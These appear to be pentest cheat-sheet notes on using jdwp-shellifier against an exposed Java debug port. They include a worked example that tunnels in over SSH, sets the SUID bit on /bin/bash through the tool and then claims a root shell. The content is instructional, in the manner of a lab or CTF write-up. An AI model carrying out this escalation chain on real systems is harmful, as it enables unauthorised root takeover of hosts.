Summary

jdwp-shellifier is a Python tool for interacting with an exposed Java Debug Wire Protocol (JDWP) service.
It can use the JVM’s debugging functionality to execute operating-system commands with the same privileges as the Java process.

Commands

git clone https://github.com/IOActive/jdwp-shellifier.git - Instllation. The original script was written for Python 2.
python2 jdwp-shellifier.py -t TARGET -p 8000 --cmd "id" - Basic usage
python2 jdwp-shellifier.py -t TARGET -p 8000 --break-on "java.lang.String.indexOf" --cmd "id" - Specify a breakpoint

Examples

I once run into JDWP which ran on port 8000 and a Java app which run on 5000. To make it work I:
ssh -D 1080 dev@192.168.126.150 -i id_rsa - Created a dynamic ssh port forward to the target so I can mimick accessing the app locally
proxychains python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "chmod u+s /bin/bash" - Ran jdwp-shellifier on JDWP with a command to add suid to /bin/bash. This will allow me to run /bin/bash as root becasue it’s the root that runs the JDWP/Java app processes. Shellifier hangs and waits on the ServerSocket.accept() breakpoint for a connection.
nc 127.0.0.1 5000 - I connected to the app, sending the accept() call which activated jdwp-shellifier.py and runs my code.
bin/bash -p - Claimed my root access